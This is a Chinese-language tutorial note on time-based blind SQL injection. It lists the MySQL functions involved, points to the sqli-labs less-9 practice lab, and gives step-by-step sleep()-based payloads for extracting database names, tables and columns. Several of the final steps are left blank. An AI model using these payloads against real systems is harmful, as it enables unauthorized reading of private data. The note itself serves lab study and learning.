时间盲注
时间盲注简介
延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注。
时间盲注所用的函数
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substring("string",strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符
if(expr1,expr2,expr3) //如果 expr1 是TRUE,则 If()的返回值为expr2; 否则返回值则为 expr3
Length //返回长度函数
靶场利用
可以利用sqli-labs-master/less-9 进行时间盲注
时间盲注工具利用
打开浏览器的开发者工具(快捷键F12),点击其中的网络,可以查看站点的反应时间。
时间盲注思路总结
注意括号闭合
判断站点是否存在回显|注入|错误提示 --> 利用字符型|整数型判断
判断站点是否存在时间盲注 --> 字符型:' and sleep(5) %23
--> 数字型:and sleep(5) %23
判断站点的数据库长度 --> and if((length(database())>7),sleep(5),1)) %23
判断站点的数据库名 --> and if((ascii(substr(database(),1,1))=100),sleep(5),1) %23
判断表的个数 --> and if((select count(*) from information_schema.tables where table_schema='库名')=5,sleep(5),1) %23
依次判断表名长度 --> and if((length((select table_name from information_schema.tables where table_schema='库名' limit 0,1))>5),sleep(5),1) %23
依次判断表名 --> and if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)),sleep(5),1) %23
依次判断表中的字段数量 -->
依次判断表中的字段名长度 --> and if(length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1))>5,sleep(5),1) %23
依次判断表中的字段名 -->
依次判断表中数据的长度 -->
依次判断表中数据 -->
别问问就是懒得写了